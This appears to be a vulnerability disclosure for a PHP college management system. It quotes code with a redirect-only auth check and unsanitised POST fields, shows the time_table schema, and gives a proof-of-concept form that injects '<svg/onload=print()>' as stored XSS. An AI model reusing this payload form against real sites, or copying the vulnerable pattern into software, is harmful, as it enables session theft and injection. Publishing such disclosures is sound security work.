# Exploit Title: college management system – Stored Cross-Site Scripting (XSS) Unauthenticated
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in admin/time-table.php in line 1 :
<?php
session_start();
if (!$_SESSION[“LoginAdmin”])
{
header(‘location:../login/login.php’);
}
require_once “../connection/connection.php”;
?>
in admin/time-table.php in line 17 – 27 :
$course_code=$_POST[“course_code”];
$semester=$_POST[“semester”];
$timing_from=$_POST[“timing_from”];
$timing_to=$_POST[“timing_to”];
$day=$_POST[“day”];
$subject_code=$_POST[“subject_code”];
$room_no=$_POST[“room_no”];
is vulnerable to XSS and SqlInjection
—
Table structure for table `time_table`
—
CREATE TABLE `time_table` (
`id` int(11) NOT NULL,
`course_code` varchar(10) NOT NULL,
`semester` int(11) NOT NULL,
`timing_from` varchar(10) NOT NULL,
`timing_to` varchar(10) NOT NULL,
`day` varchar(20) NOT NULL,
`subject_code` varchar(20) NOT NULL,
`room_no` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
20 char
POC :
<html lang=”en”>
<head>
<title>XSS</title>
</head>
<body class=”login-background”>
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″>
<!– css style goes here –>
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css” integrity=”sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T” crossorigin=”anonymous”>
<!– css style go to end here –>
<link rel=”stylesheet” href=”https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css”>
</head>
<body>
<div class=”modal-dialog modal-lg”>
<div class=”modal-content”>
<div class=”modal-header bg-info text-white”>
<h4 class=”modal-title text-center”>Add Time Table</h4>
</div>
<div class=”modal-body”>
<form action=”http://127.0.0.1/2/College-Management-System/Admin/time-table.php” method=”post”>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1″>day No:</label>
<input type=”text” name=”day” class=”form-control” value=”5″>
</div>
</div>
</div>
<div class=”form-group”>
<div class=”formp”>
<label for=”exampleInputPassword1″>subject_code No:</label>
<input type=”text” name=”subject_code” class=”form-control” value=”<svg/onload=print()>”>
</div>
</div>
<div class=”modal-footer”>
<input type=”submit” class=”btn btn-primary” name=”btn_save” value=”Save Data”>
<button type=”button” class=”btn btn-secondary” data-dismiss=”modal”>Close</button>
</div>
</form>
</div>
</div>